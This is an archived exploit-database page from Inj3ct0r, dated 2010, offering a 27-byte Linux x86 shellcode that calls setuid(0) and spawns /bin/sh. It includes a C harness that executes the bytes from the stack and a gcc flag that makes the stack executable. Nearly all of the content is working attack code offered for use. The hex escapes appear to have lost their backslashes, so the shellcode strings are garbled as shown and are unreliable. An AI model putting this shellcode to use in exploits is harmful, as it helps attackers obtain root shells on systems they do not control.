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linux/x86 setuid(0) ^ execve("/bin/sh", 0, 0) shel

Posted on 24 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 setuid(0) ^ execve(&quot;/bin/sh&quot;, 0, 0) shellcode 27 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================================
linux/x86 setuid(0) ^ execve(&quot;/bin/sh&quot;, 0, 0) shellcode 27 bytes
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1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1     ###############################################################  1
0     I'm Magnefikko member from Inj3ct0r Team &amp; Promhyl Studies Team  1
1     ###############################################################  0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


#include &lt;stdio.h&gt;
#include &lt;string.h&gt;

/*
 by Magnefikko
 24.04.2010
 magnefikko@gmail.com
 Promhyl Studies :: http://promhyl.oz.pl
 Subgroup: #PRekambr
 Name: 27 bytes setuid(0) ^ execve(&quot;/bin/sh&quot;, 0, 0) shellcode
 Platform: Linux x86
   setuid(0);
 execve(&quot;/bin/sh&quot;, 0, 0);

 gcc -Wl,-z,execstack filename.c

 shellcode:

x6ax17x58x31xdbxcdx80x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x99x31xc9xb0x0bxcdx80

*/


int main(){
 char shell[] =
&quot;x6ax17x58x31xdbxcdx80x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x99x31xc9xb0x0bxcdx80&quot;;
 printf(&quot;by Magnefikko
magnefikko@gmail.com
promhyl.oz.pl

strlen(shell)
= %d
&quot;, strlen(shell));
 (*(void (*)()) shell)();
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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